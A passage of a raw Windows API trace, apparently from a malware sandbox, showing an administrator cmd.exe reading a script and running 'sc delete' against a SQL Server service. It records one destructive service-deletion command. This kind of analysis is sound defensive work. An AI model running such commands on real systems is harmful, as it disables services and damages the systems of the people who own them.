CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="$ver$OPTIMA\"\nA\"\n") returned 1 [0066.796] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.796] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.796] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.796] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="Ser$OPTIMA\"\nA\"\n") returned 1 [0066.796] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.796] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.796] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.796] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="Qr$OPTIMA\"\nA\"\n") returned 1 [0066.796] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.796] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.796] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.796] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="L$OPTIMA\"\nA\"\n") returned 1 [0066.796] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.796] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.796] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.796] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="EOPTIMA\"\nA\"\n") returned 1 [0066.796] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.796] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.796] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.796] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="XPTIMA\"\nA\"\n") returned 1 [0066.796] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.796] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.796] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.796] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e352, cchWideChar=1 | out: lpWideCharStr="PTIMA\"\nA\"\n") returned 1 [0066.796] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.796] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.796] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.797] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e354, cchWideChar=1 | out: lpWideCharStr="RIMA\"\nA\"\n") returned 1 [0066.797] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.797] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.797] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.797] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e356, cchWideChar=1 | out: lpWideCharStr="EMA\"\nA\"\n") returned 1 [0066.797] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.797] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.797] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.797] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e358, cchWideChar=1 | out: lpWideCharStr="SA\"\nA\"\n") returned 1 [0066.797] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.797] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.797] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.797] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35a, cchWideChar=1 | out: lpWideCharStr="S\"\nA\"\n") returned 1 [0066.797] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.797] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.797] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.797] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35c, cchWideChar=1 | out: lpWideCharStr="\"\nA\"\n") returned 1 [0066.797] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.797] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.797] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.797] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35e, cchWideChar=1 | out: lpWideCharStr="\nA\"\n") returned 1 [0066.797] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.797] GetFileType (hFile=0xb8) returned 0x3 [0066.797] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.797] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.797] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.797] GetFileType (hFile=0x120) returned 0x3 [0066.797] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.798] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"msftesql$SQLEXPRESS\"\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"msftesql$SQLEXPRESS\"\n", lpUsedDefaultChar=0x0) returned 33 [0066.798] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x20, lpOverlapped=0x0) returned 1 [0066.798] GetProcessHeap () returned 0x1b0000 [0066.798] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0066.798] GetProcessHeap () returned 0x1b0000 [0066.798] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0066.798] GetProcessHeap () returned 0x1b0000 [0066.798] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0066.798] GetProcessHeap () returned 0x1b0000 [0066.798] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0066.798] GetProcessHeap () returned 0x1b0000 [0066.798] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4c) returned 0x1cba10 [0066.798] GetConsoleOutputCP () returned 0x1b5 [0066.798] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.798] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.798] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.798] GetProcessHeap () returned 0x1b0000 [0066.798] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0066.798] GetProcessHeap () returned 0x1b0000 [0066.799] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x52) returned 0x1c9b30 [0066.799] GetProcessHeap () returned 0x1b0000 [0066.799] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc5b0 [0066.799] SetErrorMode (uMode=0x0) returned 0x1 [0066.799] SetErrorMode (uMode=0x1) returned 0x0 [0066.799] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5c0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0066.799] SetErrorMode (uMode=0x1) returned 0x1 [0066.799] GetProcessHeap () returned 0x1b0000 [0066.799] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc5b0, Size=0x62) returned 0x1cc5b0 [0066.799] GetProcessHeap () returned 0x1b0000 [0066.799] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc5b0) returned 0x62 [0066.799] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0066.799] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0066.799] GetProcessHeap () returned 0x1b0000 [0066.799] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0066.799] GetProcessHeap () returned 0x1b0000 [0066.799] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0066.799] GetProcessHeap () returned 0x1b0000 [0066.799] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0066.799] GetProcessHeap () returned 0x1b0000 [0066.799] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0066.799] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0066.799] GetProcessHeap () returned 0x1b0000 [0066.799] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c97e0 [0066.799] GetProcessHeap () returned 0x1b0000 [0066.799] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c97e0, Size=0x7e) returned 0x1c97e0 [0066.799] GetProcessHeap () returned 0x1b0000 [0066.799] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c97e0) returned 0x7e [0066.799] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.799] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.800] GetLastError () returned 0x2 [0066.800] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.800] GetLastError () returned 0x2 [0066.800] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.800] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9870 [0066.800] FindClose (in: hFindFile=0x1c9870 | out: hFindFile=0x1c9870) returned 1 [0066.800] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.800] GetLastError () returned 0x2 [0066.800] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9870 [0066.800] FindClose (in: hFindFile=0x1c9870 | out: hFindFile=0x1c9870) returned 1 [0066.800] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0066.800] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0066.801] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.801] GetProcessHeap () returned 0x1b0000 [0066.801] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0066.801] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.801] GetProcessHeap () returned 0x1b0000 [0066.801] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xb8) returned 0x1c9180 [0066.801] GetProcessHeap () returned 0x1b0000 [0066.801] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xb8 [0066.801] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"msftesql$SQLEXPRESS\"") returned 1 [0066.802] GetProcessHeap () returned 0x1b0000 [0066.802] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0066.802] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0066.802] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0066.802] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0066.802] GetProcessHeap () returned 0x1b0000 [0066.802] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0066.802] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0066.802] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0066.802] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0066.802] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0066.802] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.802] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.802] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.802] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0066.802] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0066.802] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0066.802] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0066.802] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0066.802] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0066.802] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0066.802] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0066.802] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0066.802] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0066.802] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0066.803] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.803] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.803] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.803] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.803] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.803] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.803] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.803] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.803] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0066.803] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0066.803] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0066.803] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0066.803] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0066.803] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0066.803] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0066.803] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0066.803] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0066.803] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0066.803] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0066.803] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.803] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.803] GetProcessHeap () returned 0x1b0000 [0066.803] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0066.803] GetProcessHeap () returned 0x1b0000 [0066.803] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0066.803] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"msftesql$SQLEXPRESS\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"msftesql$SQLEXPRESS\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete \"msftesql$SQLEXPRESS\"", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0xa3c, dwThreadId=0x828)) returned 1 [0066.808] CloseHandle (hObject=0x50) returned 1 [0066.808] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0066.808] GetProcessHeap () returned 0x1b0000 [0066.808] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0066.808] GetEnvironmentStringsW () returned 0x1d1b10* [0066.808] GetProcessHeap () returned 0x1b0000 [0066.808] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba70 [0066.808] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.808] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0066.808] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffda000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0066.808] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0066.864] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0066.864] CloseHandle (hObject=0x54) returned 1 [0066.864] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0066.864] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0066.864] GetProcessHeap () returned 0x1b0000 [0066.864] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba70 | out: hHeap=0x1b0000) returned 1 [0066.864] GetEnvironmentStringsW () returned 0x1d1b10* [0066.864] GetProcessHeap () returned 0x1b0000 [0066.864] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba70 [0066.864] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.864] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0066.864] GetProcessHeap () returned 0x1b0000 [0066.864] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba70 | out: hHeap=0x1b0000) returned 1 [0066.864] GetEnvironmentStringsW () returned 0x1d1b10* [0066.864] GetProcessHeap () returned 0x1b0000 [0066.864] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba70 [0066.864] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.864] GetProcessHeap () returned 0x1b0000 [0066.865] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0066.865] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0066.865] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0066.865] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.865] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0066.865] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.865] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0066.865] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.866] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0066.866] GetConsoleOutputCP () returned 0x1b5 [0066.866] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.866] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.866] GetProcessHeap () returned 0x1b0000 [0066.866] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0066.866] GetProcessHeap () returned 0x1b0000 [0066.866] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0066.866] GetProcessHeap () returned 0x1b0000 [0066.866] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0066.866] GetProcessHeap () returned 0x1b0000 [0066.866] HeapFree (in: hHeap=0x1b0000, 